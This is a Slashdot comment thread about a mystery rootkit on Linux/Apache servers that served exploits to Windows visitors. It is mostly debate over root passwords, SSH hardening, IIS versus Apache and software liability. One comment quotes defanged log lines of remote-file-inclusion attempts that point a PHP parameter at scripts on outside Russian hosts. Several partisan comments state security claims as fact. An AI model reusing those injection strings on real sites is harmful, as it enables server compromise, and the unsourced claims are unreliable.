Slashdot Mirror
Mystery Malware Affecting Linux/Apache Web Servers
lisah writes "Reports are beginning to surface that some Web servers running Linux and Apache are unwittingly infecting thousands of computers, exploiting vulnerabilities in QuickTime, Yahoo! Messenger, and Windows. One way to tell if your machine is infected is if you're unable to create a directory name beginning with a numeral. Since details are still sketchy, the best advice right now is to take proactive steps to secure your servers. 'We asked the Apache Software Foundation if it had any advice on how to detect the rootkit or cleanse a server when it's found. According to Mark Cox of the Apache security team, "Whilst details are thin as to how the attackers gained root access to the compromised servers, we currently have no evidence that this is due to an unfixed vulnerability in the Apache HTTP Server." We sent a similar query to Red Hat, the largest vendor of Linux, but all its security team could tell us was that "At this point in time we have not had access to any affected machines and therefore cannot give guidance on which tools would reliably detect the rootkit."'"
As Ubuntu is indeed Linux, I'd venture to guess that it is affected.
This is why serious businesses choose a serious web server: Microsoft Internet Information Services running on Microsoft Windows Server.
"the current thinking is that the malware authors gained access to the servers using stolen root passwords"
so basically its most likely they used the traditional means of gaining access (not through holes, but merely through bad personal security practices regarding passwords and password management). And it only affects windows clients. So how is this problem not your typical someone cracked your machine? Oh wait, I smell Microsoft FUD... ewwwwww
Last night I discovered a directory named 53 4B 59 4E 45 54 in my home folder.
I do believe tht if this story was with IIS it would be tagged ahah :)
"According to a press release issued earlier this month ..."
Yawn.
According to the story (did you read it), it appears to be a situation where the root password has been compromised, not the applications or operating system.
Problems with IIS were as a result of vulns in the application and/or Windows operating system - totally different problem.
Would you blame a lock company if the user left his keys in the lock?
Ed
Does this rootkit work on a hardened Gentoo install with no LKM support on SPARC64? :P
-:sigma.SB
WARN
THERE IS ANOTHER SYSTEM
I think it's funny that Apache is affected by the same drama that affected IIS all those years ago.
Except IIS had security hole after security hole.
There's been no such security hole found in apache yet. So I'd wait before making comparisons to IIS.
AccountKiller
I can see thousand of people trying to make numeric directories :)
Yes, also if you can run your tummy while patting your head you aren't infected also.
I think.... this crazy idea is the virus!
IIS are serious server. This are serious thread.
In Xanadu did Kubla Khan
A stately pleasure dome decree
Bozo the Clown serious?
Lack of planning on your part does not constitute an emergency on mine.
I read it, here's what it said: "One great unknown thus far is how the servers come to be infected. Absent any forensic evidence of break-ins, the current thinking is that the malware authors gained access to the servers using stolen root passwords."
In other words, they have no idea how the servers were compromised. Because they can't find out how, they're guessing it was a root password that was stolen. In other words, its still just as likely a flaw in some software.
Underage anime? Does that refer to pictures drawn after 1990?
It's for Apache/Linux so it must be well crafted code written with the best intention....
Isn't that always the case with FOSS. If it was for Microsoft then it would be _real_ malware....
I did a mkdir 09F911029D74E35BD84156C5635688C0 and all I got was a DMCA rm -f 09FA* request.
How is that flamebait? I'm dead serious. If the quality of software doesn't improve dramatically, we're going to be in a world of hurt very soon. How do you suggest we achieve that improvement if not by making authors of faulty software liable for their negligence? We certainly can't keep upgrading software every time a bug is found, if bugs keep cropping up at the current rate.
To figure out what the compromise vector is, it's probably going to be necessary to figure out what the compromised servers have in common -- and how that differs from uncompromised servers. (Keeping in mind that currently-uncompromised servers may have the same vulnerability, and that attackers or their software just may not have gotten to them yet.)
I'd suggest enumerating factors such as OS, OS version, remote access methods (ssh, ftp, etc.), Apache versions, Apache modules, add-ons like CPanel, network/ASN, and so on -- anything could be a culprit at this point.
And that includes things that have nothing to do with Linux or Apache: for example, it's possible that the attackers acquired root passwords by infecting Windows systems used by administrators -- then just waited for them to initiate ssh sessions to their servers. It'd probably be best to leave all possibilities open and consider them equally likely until evidence starts accumulating in favor of/against them. (In re-reading that last statement, I suppose it sounds a bit trite. I'm just trying to discourage premature conclusions that anything is at fault until somebody can produce evidence to support saying so.)
The Register has been on this for a while and although the story is older it is better written and has more interesting details: http://www.channelregister.co.uk/2008/01/16/mysterious_web_infection_continues/
my $.02 of course
I see this type of attack all the time, the fact that someone automated it and gave it a zombie machine is not surprising.
* Don't allow root to ssh into your machine.
* Disable ssh1.
* Limit sudoers.
* Have good passwords.
* ???
* PROFIT!!
Seems like a formula everyone should know.
I said no... but I missed and it came out yes.
"they're guessing it was a root password that was stolen"
A pretty good guess, otherwise we could expect to see millions of Apache web servers compromised (there are over 75 million Apache web servers in active service) and anticipate a much greater number of Windows clients infected.
The significance of this story is not that Windows clients are the target, the significance is that the infecting agent is originating from Apache/Linux servers.
Ed
IIS6 has never had a remote code execution hole. Ever.
Are your R's and B's "Crossover" keys, or Virtual Keys, or VirtualBox keys?
Run your tummy makes me think of being run over, or loosing a hot bowel of a lahar surmounting, umm, surpassing even Mt. Pinatubo.
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
Depends. How good is my lawyer?
The last time I wrote code, it was Morse
"He Who Dares Wins"
It's high time for better software, and the only way to get that is to apply market pressure. Software liability is the answer.
... And you wonder why your post was modded flaimbait?
1) If the market really wanted extensive 'software liability' then we'd already have it. Customers would demand it, suppliers would figure out how much it would cost to provide it, and prices would sort themselves out. Turns out the prices go WAY up, and customers (most of them) don't want to pay them.
2) What happens to Linux in a world with mandatory software liability? Who is liable? The company providing install and support? The volunteer contributor who wrote that line of code? The project maintainer who accepted the patch?
It's possible to install software on a Linux webserver that exploits vulnerabilities in Windows clients. This is news?
Here's a shocker: it's possible to exploit Windows boxes with services hosted on a Commodore64.
Windows has more malware packages than legitimate software packages. They've really solved that ease of installation problem.
Help stamp out iliturcy.
Cool. I'm ready to sue open source developers -- I have to work around bugs all the time. How many major projects (servers, libraries, languages/runtimes) don't have bug fix releases all the time?
You'll have to show you took necessary precautions. Ready for that? MS is. Read up on their security precautions these days (SDL, etc.).
Are you sure your up to the task? If so, what open source projects are you working on?
How many lawyers are good?
Ed,
Please let me know what the last critical security flaw for IIS was. I'd love to know.
Also, let me know how many critical security flaws there have been for Apache in the last year or so.
Thanks!
Yeah. People should be held liable when they know full well that Microsoft has a track record for bad security, but choose Microsoft products anyway.
http://outcampaign.org/
In retrospect, I now wonder if this affected 1and1 late 2006 to early 2007. There were 3 times that one of my sites on 1and1 was affected. As in just inaccessible tho it would run for weeks and I hadn't changed anything. But, 1and1 were fast enough to fix it in under an hour. I used to be "paranoid" that some government agency was just trying to block my page (not necessarily the US, but maybe an Asian government). But I relaxed and nixed that line of thinking as no content was changed. It's been many months since I changed ANYthing on it.
Anyway, we all know the US, Russian, Chinese, and other governments regularly appear in the news condemning one another for staging shocking, penetrating attacks on each others military and infrastructure networks. Of course, we should not assume Japan, Israel and others are NOT conducting their own probes and audits, either.
If there IS malice involved, I'd venture to say the testers left the vuln as a message, or they slipped up and got discovered, but their tool bag was not left behind full...
But, then, I wouldn't put it past ms to be involved with this to undermine IT departments using heterogeneous servers. OH NO....
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
Would you please tell me which one of the hundreds if not thousands of developers should be sued when OSS has a bug in it? Also, there is no way we could process that many law suits...
Simple! Just don't upgrade. Problem solved! Don't worry, the rootkit seems to be spreading malware to windows users. They're used to it anyway -- it won't actually harm your linux box, so what's to worry?
It's FUD that been spread around by Microsoft and their cronies (read: SCO) since the Caldera^WThe SCO Group sued IBM.
Microsoft certainly does not live up to this. Attached to every copy of Windows in the EULA is a disclaimer of liability, including special liability.
My blog
No, not really a good guess. It could be only Apache on a certain distro, with a certain version. Apache runs on Unix as well, so you can rule all those Apache installs out (the article seems to point out Linux, IIRC).
I agree with your reasoning on the significance of the story.
I'll take my chances with *BSD.
It only takes one man to change the Wisdom of the Crowd to Tyranny of the Masses.
Microsoft? This story is on posted on linux.com and being hyped on a OSDN site, where do microsoft come in? They must have a pretty deep mole to get this one planted...
And the malware infects Microsoft clients, genius.Don't get me wrong, I think this is a big deal, but his point is that unless you are running Windows OR have an Apache webserver this doesn't effect you. Linux desktop users are not effected.
Whoa there buddy. Are you saying anything before 1990 is not underage?
GOD DAMNIT! How am I becoming old?
"I use a Mac because I'm just better than you are."
... though a solution has not been yet:
http://blog.trendmicro.com/e-commerce-sites-invaded/
If you happen to have one of these compromised systems, I am sure that Trend would like to talk to you about it...
Ain't the software that's at fault here--it's people who give out their root passwords, or have easily cracked root passwords.
In Xanadu did Kubla Khan
A stately pleasure dome decree
"but his point is that unless you are running Windows OR have an Apache webserver this doesn't effect you."
Well I am sure the 3% of the population that don't fit into either category are relieved as hell.
I agree. The people who made this problem possible should be sued and held accountable.
Now then, which admin is first for choosing bad passwords?
"I use a Mac because I'm just better than you are."
There is something suspicious about this report. Some things can't happen the way people say they happen, and when that is the case we have to look at more likely scenarios.
I would bet the path of the TCP/IP packets route through compromised providers who have an injection strategy. Remember a few months ago how IPSs were injecting their own java script and ads into the pages of other sites?
http://ars.userfriendly.org/cartoons/?id=20070703
This is the most likely scenario I can think of.
* Don't allow root to ssh into your machine.
:)
This shouldn't be a big deal unless root also has an easily guessed password.
* Have good passwords.
Absolutely. Try "squam1sh666oss1frage" instead of "susan". Check your other users too, particularly people in group wheel. I had an account used as an attack because it was set up with an easily guessed name and password and I was never actually given the password - I always sshed in with a DSA key.
I would add:
* Have a string password validator, but don't force people to cycle passwords... that encourages easily guessed passwords because easily remembered ones are easily guessed. The best password validator is to run the best password cracking tools you can lay your hands on against your own password file.
The market would immediately demand software liability if the users of software became liable for defects themselves. Your server got rooted and sent credit card information to Russia? Pay up. You can get your money back from the guy who wrote your swiss cheese web server.
FTFA:FTFA - "The random js toolkit was detected using Finjan's patented real-time code inspection technology while diagnosing users' web traffic during December 2007..."
This is all just a ploy to bring attention to Finjan for financial gain!
But why male models?
Shop as usual. And avoid panic buying.
All your BASE are belong to us.
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
Bearded Dragon
Why "soon?" What is going to change in the near future that will make insecure software/configurations any more of a threat than they already are?
Diversity is one good way of avoiding large scale security related disasters. Sure, individuals will still get hurt, but if theres a broad range of software options available (and used) there's not much that can take down the internet as a whole or put us in a "world of hurt."
What "rate" is that? Do you have statistics that show that software is getting less secure or more bugs are found? My subjective impression is that software in general is getting better on the whole. And security is slowly becoming more of a priority. The only thing that is changing is the scale of the exploits when a bug is found. No longer is it important to have control over individual systems. Black Hats need botnets. Again, more diversity will help greatly in keeping the effect of this to a minimum. Holding software vendors monetarily responsible for hacks would kill the industry and possibly hurt diversity.
Besides, who is goign to pay when free software is exploited? Can you really justify extracting money from developers who offer their wares to the public for free?
-matthew
"THERE IS NO JUSTICE, THERE IS ONLY ME." -Death
"It could be only Apache on a certain distro, with a certain version."
Yet another persuasive argument to avoid the technological mono-culture that is Microsoft Windows.
Ed
Just remember, wherever you go, there you are.
Armaments, 2-9-21 And Saint Attila raised the hand grenade up on high, saying, 'O Lord, bless this Thy hand grenade' N
Software has to suck because the market can't afford software that doesn't suck. Kids out of high school and collage or fresh out of joe's web school. aren't qualified to write good software, yet this is what companies hire over more experienced people.
Even then, there is no ability to develop your skills because you spend 99% of your time learning new environments.
Software is HUGELY complex these days and it takes a log of study, knowledge, and skill to be any good at it. Companies don't want to hear that. They want to increase productivity by "KLOC." (Un)fortunately, there is a lot of "art" and "creativity" in software development and without well defined product specs, rigid test plans, and quality assurance which adds delays and cost to a project you won't get better code.
Standard business upside potential vs downside risk. Upside potential: first to market, profit!!! Downside risk: blame some hacker.
What's this nonsense? Ubuntu is Ubuntu. ...and that's kinda related to Mac, right? Just... more browner.
IIS6 has never had a remote code execution hole. Ever.
That you know of.
"When I first heard Daydream Nation it quite frankly scared the living shit out of me." -- Matthew Stearns
happy geek has run out of happy :-(
455fe10422ca29c4933f95052b792ab2
The articles on this keep mentioning cPanel. Now, I've never used or looked at that specific web CP, but it seems likely to me all the attackers would have to do is find a vulnerability on of the scripts used for updating the configs, or adding a DB entry to update the configs, etc. Yes, I know this supposition is light on detail, but given what most control panels eventually have to have access to, seems the more likely than some mystery apache exploit... just tell the scripts they need to update the configs.. or use them to push an update to the machine, etc.
"Please let me know what the last critical security flaw for IIS was. I'd love to know."
I don't know. I don't run (any) Windows or IIS. I do know that Microsoft.com hides behind a protective curtain of Linux proxy servers.
"Also, let me know how many critical security flaws there have been for Apache in the last year or so."
None that I have come across - and I do run LAMP stacks; it is SO EASY to make a LAMP stack bullet proof.
Ed
I'll need to ask my lawyer.
The Kruger Dunning explains most post on
Yeah, there's no way a company like Microsoft would have the resources to spread false information on internet sites.
Exactly. Also this gem from the article:
Other than using and safeguarding secure root passwords, not much can be done at this time to be proactive in preventing servers from being compromised,
Turn off root's log in and get rid of cPanel and similar programs as well. I understand the need for an easy to use remote admin tool (as much as I'd love people to actually learn the shell), but can't we do better than a web-based program for this stuff?
The Anti-Blog
Which is hardly an advantage on Linux because everybody can su to root.
/dev/tcp/25) acting as the required capability, rather than having to become superuser for such a common operation.
OK, check ALL your other users.
Limiting it to group wheel is not a particularly big hurdle. There are enough applications setuid to root to find execution exploits in that one more is not much of a barrier.
The common UNIX implementation whereby group 0 or UID 0 membership acts as the gateway to such unobvious capabilities as opening low ports really needs to be readdressed. Traditionally, you would have group access to devices (eg,
Seems as good of a place as any to mention it, but maybe it has something to do with the multitudes of requests for URLs like: /exclusives.php?id=hxxp://amymusicgirl.h17.ru/mysong.txt?
/exclusives.php?id=hxxp://amyru.h18.ru/images/cs.txt?
/exclusives.php?id=hxxp://joioiskioeriyyskwkdwjsdfewis.land.ru/.html/body?
( tt changed to xx in protocol )
that I've been seeing in my logs for the last 8 months or more.. Or are these just a poor attempt to spam webmasters?
HMMM
Fail2ban is another nice way to deal with these brute force attacks.
Preventive War is like committing suicide for fear of death. - Otto Von Bismarck
Huh??
I am not clear on the concept you are suggesting. Do you mean something like:Hey KID! Yeah you, get the fuck off my lawn!
His main point was insightful. There are two parts to the story - one, Linux servers running Apache have been compromised. Two, these servers are infecting Windows clients through vulnerabilities in those clients. This exploit does not affect non-Windows computers.
If the current thinking is indeed that the Linux servers were inappropriately accessed through stolen passwords, how is that a security flaw of Linux or Apache? Like he asked, how is using a legitimate password equal to cracking the server?
On the other hand, turning Windows clients into bots *IS* an example of that software's (and QuickTime's and Yahoo! Messenger's) insecurity and vulnerability!
Unless you need a shovel to go ask him, the general consensus is "No".
The article says there is no current evidence that the Linux machines were compromised because of a software vulnerability, they're speculating password cracking or social engineering got them root access. The Windows machines, however, get infected because of a software vulnerability on them.
http://www.mhall119.com
I have a pretty long password, and I'm pretty bad at remembering things.
Besides hopefully you don't have 12345 as root password, because anything but that will be pretty hard to brute force. I'm fine with people trying to log on as root on my machine. They are going to need a lot of time to find my password that way.
Why do people allow the public Internet to brute-force accounts on their systems? There are plenty of ways to cut off IPs who have too many failed login attempts. Or, you could do what I do:
[casper]$ ssh myserver.com
Permission denied (publickey).
In other words, if you want to log into my server, you need a certificate. No password-based logins are disallowed by system policy.
They don't grade fathers, but if your daughter's a stripper, you fucked up. --Chris Rock
Stolen password would be a vector into Apache servers on other platforms as well - but the reports so far seem to be saying it is just Apache + Linux servers.
If that _is_ the case, then it is more likely to be a weakness specific to that stack (possibly only certain version combinations) than a password compromise. The weakness may also be in something else installed on that stack, and thus applicable to only a small fraction of the 75M apache servers (eg. LAMP + particular PHP extension / application).
On hundreds of machines at the same time though?
"Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
You can not login as root to a BSD-machine, even if you enter the password correctly from the first attempt. That's the point. And if you are a legitimate user here, you would know this and would not even try.
Which means, all those, who try, are not legitimate and should be blocked on-sight...
In Soviet Washington the swamp drains you.
Can't blame PHP entirely here, the PHP process runs as the webserver, which should _not_ have root access. If a PHP forum was used, then there is a vulnerability in Apache and/or Linux.
I still think it's a lousy password and/or lousy password security to blame.
http://www.mhall119.com
Forget world peace, bring on -1 pointless
I think their class restricts them to Lawful Evil; should they change alignment, they et disbarred. So, none, at a guess.
Ignore this signature. By order.
GUIs provide metaphors for users, they have no place in administration.
</grumpyOldFart>
"Linux is for noobs"-The new MS fud strategy
Right, right, they're running your typical LAMP stack. You know, like most of the internet. Statistically speaking, if you have a site, you more than likely have a site served by Apache on Linux. In truth, I've heard of very few servers that receive significant traffic that DON'T run Apache and even fewer that don't run Linux. As the internet is based around open international standards, there's no reason a Linux-based server couldn't serve packets containing harmful windows executable code. Your first point is a non-issue.
As to your second point, it's only natural that windows machines be targeted. More critical security vulnerabilities as part of the base operating system that is almost certainly being run as root ("administrator" if you've never used *nix) means greater capability for general chaos. Alternatively, more useful machines for ye olde botnette. One problem with targeting Linux machines is the Unix permissions model that would create a situation where even if someone were to find a hole by which they could access the system, they would still need to find a method by which to elevate their user privileges to root so that they could accomplish more than manipulation of the user's home directory. This leads to the second problem- security flaws in a *nix system are almost certainly related to the software installed on them rather than the Linux kernel itself, making it a roulette game whether your particular method of attack is even present to be exploited.
In a system that has been systematically secured by experts from all callings for years on end, it becomes, with each patch level, more and more likely for the human equation's unreliability to be the single greatest point of failure. Being fallible, people resort to insecure data practices for their own convenience, out of laziness, from a lackadaisical attitude, or out of habit; thus creating a situation where the likelihood of a partial or full breach rapidly approaches one. This is a well known point of failure, and is even counted on, at some level, with a sane backup policy and data redundancy.
What's more, while rootkits and their dangers are very real, one cannot say that it is a vulnerability of a system that someone in possession of what is assumed to be a secure superuser password can install software on that system. Were you to steal the keys to a car, you certainly wouldn't find it strange be able modify the engine of said vehicle- after all, with keys you can unlock the door and with a minimum of effort pop the hood and go to work.
So yes, my dear Coward, grandparent was correct- this is somewhat more elegant than we're used to seeing, but it is most certainly presented in a way thst prompts one to think that there is something "wrong" with Apache or Linux.
RTFM
What malware are you speaking of? Do you know something about these servers that the security folks don't know?
So as long as it defends your precious *nix community, and lays potential blame at the door of MS, it is perfectly acceptable practice to make accusatory conclusions with no evidence or proof. This kind of MS bashing just makes the *nix community look like desperate hypocrites, and only furthers my resolve to continue supporting the MS platform for another 15 years of satisfied usage.
Why can't you just accept the fact that everyone knows that every platform is vulnerable to some extent, and probably 90% of users don't give a shit.
It seems too many people can't wrap their heads around the idea that the internet / networking is more than just the web and http.
You mean like ssh and the X11 Windowing System? Yeah, you need the proper lines in ssh_config and sshd_config, (look in the man pages for 'X11') but after that, you can execute an X program remotely with little effort. 'ssh user@remotecomputer xload -rv' I've had trouble with OpenGL apps because ssh's forwarding doesn't support it, but that is the price of security. It does work if you drop privs with xhost and point your DISPLAY env to the X terminal, but that is dangerously insecure. ;-) Then again, who needs opengl apps to admin a machine?
Comment removed based on user account deletion
"And it only affects windows clients. So how is this problem not your typical someone cracked your machine? Oh wait, I smell Microsoft FUD"
Are you really that illiterate? Just an FYI - Microsoft doesn't make Apache OR Linux. If compromised severs are being used, it is certainly not the type that "only affects windows clients". Duh. Only here would such blatant anti-MS bullshit get modded "Insightful". I took a way more "insightful" shit this morning. So, Mac planet is not alone discrediting every single security alert as "FUD"
It seems there are other people who sees a story validated by 4 different, independent security companies as FUD. Apache is planets number 1 webserver and Linux is number 1 Webserver OS. What else would a blackhat supported by mafia would target? It is not like "I am proving Linux is unsecure", it is "I have purchased a previously unknown compromised account list and I am using it to infect millions of MS Windows users running popular but unpatched software, we will make millions from that zombie army".
I don't get why people gets defensive.
From how I understood the article, they comprimized a few big hosting companies, which serve thousands of websites.
Comment removed based on user account deletion
Uhh, isn't your post the original definition of FUD?
"Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
Protective curtain? Microsoft's website is behind the Akamai Content Distribution Network, which is nothing to do with security - it's all about protecting the network from being crushed by the millions of users who hit it every day (the average specs on a Microsoft.com server are: Age: 4 years, Home: Seattle, Washington -- Home of the Seahawks!, Processor Cores: Quad, MultiProcessor: 4, Memory: 16 GB, Internal Drives: 8, Height: 4U - source: http://blogs.technet.com/windowsserver/pages/about-lone-server.aspx)
For a site about things like basic rights, Slashdot users sure do like to censor "dissent".
This is old news. Its caused by a rootkit: http://www.cpanel.net/security/notes/random_js_toolkit.html
Caesar si viveret, ad remum dareris.
Lawyers in general are only class-restricted to lawful. Certain prestige classes which are extensions of the lawyer class (see: Corporate Counsel, *AA Fiend, Politician) are further restricted to lawful evil, but there certainly exist lawful good examples (see: Civil Rights Advocate, EFF Volunteer), and a vast number of lawful neutrals as well (see: Probate Drone, Public Defender).
Try not to take me more seriously than I take myself.
On the other hand, allowing folks to log on to root directly from a remote console is begging to be hacked. Even telnet didn't allow that.
Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
Actually, the reason it's only Apache+Linux servers is that, once they get in (apparently via a root login over SSH, from what people are saying), they install a Linux kernel rootkit that modifies Apache's request handling - the payload is Apache+Linux only, but the exploit may not be. People have tried to find further things the infected systems have in common, but failed - though apparently several of them saw a root SSH login that shouldn't be there in the logs.
UBuntu is a Debian derived distro so it's likely not to be affected, or they may just be lucky and haven't a lot of penetration in the commercial server market.
As you may note all of these OS's are Redhat based Linux, but it's also thought that the initial penetration is through social engineering, i.e. root password leaked, rather than an OS vulnerability but time will tell.
Apocalypse Cancelled, Sorry, No Ticket Refunds
Yes you hit precisely what I was getting at, while I do fear i came off as being an anti-MS zombie, my point was that the title of the story and the article seem to directly imply Apache is at fault, when in fact it is *most likely* the result of someone using Apache to infect Windows. Wording it seems was against both of us.
I identified this rootkit in a system about 5 months ago and slightly documented some behaviours of it (I think only behaviour I've missed was numerical directory thingy). Related blog post 25.08.2007 - http://ferruh.mavituna.com/makale/exploit-paketleri/ ).
.js after body tag in all interfaces. There was one article that mentioned most of the compromised servers based UK, it was same for me. And considering it's been about 5 months, I assume UK websites were prime target in the start.
There is one more thing to add, it modify all valid HTTP responses, add
What that means is that probably every server in the data center had the same root password and somebody leaked it or sold it. We had a server that was managed by command dental system, and every system they sold had one of 5 root passwords which quickly became common knowledge in the industry.
Apocalypse Cancelled, Sorry, No Ticket Refunds
on several systems, in a small amount of time?
In general, these systems probably don't even give users shell access, and even then, password cracking is probably out of the picture. And brute forcing a password over ssh? thats probably troublesome too, it would be hard to get over about 50 attempts/second.
On the other hand, there are a whole bunch of local vulnerabilities that can be exploited, after a system is compermised. In some cases, a weak php include vulnerability could potentially allow the apache user to execute suid root applications through such vulnerabilities as: https://rhn.redhat.com/cve/CVE-2007-5964.html on a default configuration of rhel5/fedora5-7.
Every system has it's vulnerabilities.
I fear the Y2038 bug
Any software company that isn't in the fortune 500 won't even be able to consider entering the market.
Seems perfect for small disposable companies to me, it's not like IBM or Novel is going to get anything from SCOX.
Apocalypse Cancelled, Sorry, No Ticket Refunds
That's a lie. I mean, ten years ago, maybe; but IIS today is pretty damn secure by anybody's standards.
Where are all these vulnerabilities that you insist exist in IIS, from any time during the last five years? OSS FUD doesn't smell any better than Microsoft FUD.
The same issue is likely to affect a huge number of services, like apache (with a rogue user using their personal webpage, or a remote attacker exploiting php code injection in poorly written php code).
I fear the Y2038 bug
Yes, i would like to know what malware it is, someone has a inside information?
I use sshblack on my FreeBSD machine.
Vivin Suresh Paliath
http://vivin.net
I like
If that were done, all DIY/open source programming would be dead as the only people who would be able to afford the liability risks would be the big companies like Microsoft. I know I'd certainly stop releasing my FOSS software if I couldn't claim "No liability".
with malware because Linux is a hostile environment.
Unix systems can be infected, like the original Arpanet worm that Robert Morris Jr. was accused of writing that infected Sendmail Unix servers.
I had run a Linux server in the past for my web server and I noticed things like that which forced me to reformat the system because Linux was acting funny with directory names and log files kept being deleted for no reason, to hide the malware infections and/or hacking attempts.
Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
SIGSEGV caught, terminating
wait... not that kind of sig.
I gotta confess--I'm a little dismayed this code snippet (how many of those do you see around here lately?) got modded down--as a troll, no less! This (working) example uses actual mkdir.c source code, and it was with great care that I crafted the "novelty" portion. Its reference to a popular frist prost style of comment was actually intended to be a parody--a puckish satire--of the whole genre.
Perhaps the point of the joke was too subtle. TFA made it sound like there were actually malicious individuals out there intent on rooting your box and replacing mkdir with an oddly quirky and ridiculously hobbled version--to what end, nobody knows. The example above was intended to illustrate the idiocy of the notion, and thus derail the entire fools' errand that comprises the paranoid schizophrenic who fears miniscule modifications to mkdir.
"Beware of bugs in the above code; I have only proved it correct, not tried it." -- Donald Knuth
Unix systems can be infected, like the original Arpanet worm that Robert Morris Jr. was accused of writing that infected Sendmail Unix servers.
I had run a Linux server in the past for my web server and I noticed things like that which forced me to reformat the system because Linux was acting funny with directory names and log files kept being deleted for no reason, to hide the malware infections and/or hacking attempts. sorry but this really doesn't sound like you knew what you were doing.
The way such a scheme would pan out is that, almost instantly, nobody would sell you software unless you first signed a waiver of liability / hold-harmless agreement with respect to the software, and/or they gave you a list of known problems that was six feet long.
The market is full of buggy software because nobody wants, apparently, to pay for really good software. You could get it, if you wanted to pay for it. You could get a webserver that came with some sort of bond-backed guarantee that it didn't have any common types of bugs (you probably can't guarantee no design flaws, but you could guarantee against certain types of technical defects). It would probably cost a staggering amount of money, though. Like nobody-but-the-DoD kind of staggering. (In fact, even the DoD doesn't pay for that level of quality assurance. They're big into the CMMI and other structured methodologies, but there's less of an emphasis on mathematical proofs of bug-free code than perhaps some Slashdotters would like to imagine.)
I hate mediocrity as much as anyone, but that's what people want. If people wanted reliable software, we'd all be using OpenBSD on our desktops and using mainframes for servers. People use Windows (and lots of other mediocre software), despite it being an utter piece of shit, because it works just well enough to get the job done. That's all they're interested in paying for.
What I'd like to see is a legal and social change to stop making "the computer did it" an acceptable excuse for anything. If you choose to employ crummy consumer-oriented software and use it for business, and your consumer-grade system craps itself, tough. Guess you should have spent the money up front for something better. The fact that crummy software exists isn't the problem; the problem is that people continually cut corners and use crummy software in totally inappropriate places (like to manage critical infrastructure, for financial systems, etc.). I think the problem needs to be approached from the demand side, not the supply/development side.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
Then go buy software which gives you such guarantees, and see the market decide if your installation is to be preferred over lower cost- no guarantee ones that competition might use. But posting your opinion about liability on an Apache/Linux comment thread is off-topic. See apache license
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
---- MISSING MISCELLANEOUS DATA SEGMENT --- [sigdash] trolololol
"Last week, ScanSafe's Landesman drew a link between the security breach at UK-based Fasthosts and the site hacks, saying then that the domains ScanSafe had found infected had, or had recently had, a relationship with Fasthosts."
http://www.techworld.com/security/news/index.cfm?newsid=11184
It's not a software flaw according to Landesman. Its stupid admins not changing passwords or with a lingering delayed infection from the initial theft.
I totally agree with what you're saying, although does have implications with regard to free software. Say I write a really snazzy piece of software that has no bugs whatsoever (a hypothetical). I release it under some free software license. Someone else takes that, and makes some other snazzy software with it that does have bugs. If something breaks down with that system, who's liable?
How dare you be so modest!! You conceited bastard!!
Huh? This reminds me of the incident where our mother in law asked a group of us if we were high because she seriously thought we were "laughing too much."
Is it possible that this would be a hardware (CPU) exploit ? I ... I am a sw developer ...
Lack of planning on your part does not constitute an emergency on mine.
Not arguing with the fact that people agree to that license. However, I only agree with that up to the point of "even if such Contributor has been advised of the possibility of such damages." Even Civil Engineers have better ethics than that. See Canon 1.1-4. Heck read 'em all. https://www.asce.org/inside/codeofethics.cfm
What that line suggests is that, even if they knew it was a problem, Big Dig engineering firms in Boston would've kept plugging along cutting corners until someone got hurt...oh...they did eh? Well...Oh..I see.
So...does anyone have any honor anymore?
I can understand safeguarding developers from liability for accidental goofs, but blanket free-pass for intentionally including weak code should be actionable. That same sentence quoted above (quite a legalese-paragraph-sentence too) would exonerate someone who intentionally put a hidden back door into the apache source using security through obscurity... you know... for security updates, and was told it was a stupid idea.
The upswing is that the peer reviewed, engineered, open nature of Apache would prevent something like that from living too long. I could see issues with people using the same license on lesser software though.
Wus. I want more baby, Ooh yeah! You know I love it!
Semi-automatic amateur armchair Australian philosopher; conjecture ready at any moment...
Having thought carefully about this most serious question for extremely small values of a commonly used and often quoted measurement of time, I have carefully arrived at the conclusion that I would have to go with the latter developer of said secondary software.
Semi-automatic amateur armchair Australian philosopher; conjecture ready at any moment...
Stolen password would be a vector into Apache servers on other platforms as well - but the reports so far seem to be saying it is just Apache + Linux servers.
That's because the rootkit is Linux-only. Duh.
The attackers are either only targeting Linux machines because they have a rootkit for them, or they are using different techniques on other machines so nobody has noticed that they are the same attackers.
I was about to say that you only need access to the webserver to be able to send the compromises to clients, but that probably would not be enough to install a rootkit. So it does sound like they have stolen root passwords, though it is possible a local exploit. Or the machines were setup with the webserver running as root?
That's not new - Fedora Core 1 servers running cPanel handed out to "admins" who load it up with phpBB and never update it host a fair bit of crap. We've migrated customers off of those boxes, and it's always fun to check every single file you bring over to make sure there's no surprises.
On the last server compromise I had to clean up (php site, not updated - standard story), I spent some time going through the logs to check what other sites they'd used this thing as to springboard into other machines. It was a fair collection of blog servers, bulletin boards, and a few company sites. When I could locate a phone number, I would give them a call. Not a single one of the admins knew their boxes were hosting malware. A couple boxes had been replaced after whoever got in wrecked the site, but the vast majority were running just fine, just with a '.../' directory hanging off the web root.
Why can't I mod "-1 Idiot"?
I use OpenBSD for Internet-facing applications where I want security, e.g. the DMZ box on my home network that I want to be able to SSH into from the outside world. I really like OpenBSD conceptually, and happily send them my $60 or whatever it costs for a DVD with each major release, although I wish the pool of officially vetted software was bigger. (*cough* POSTFIX *cough*)
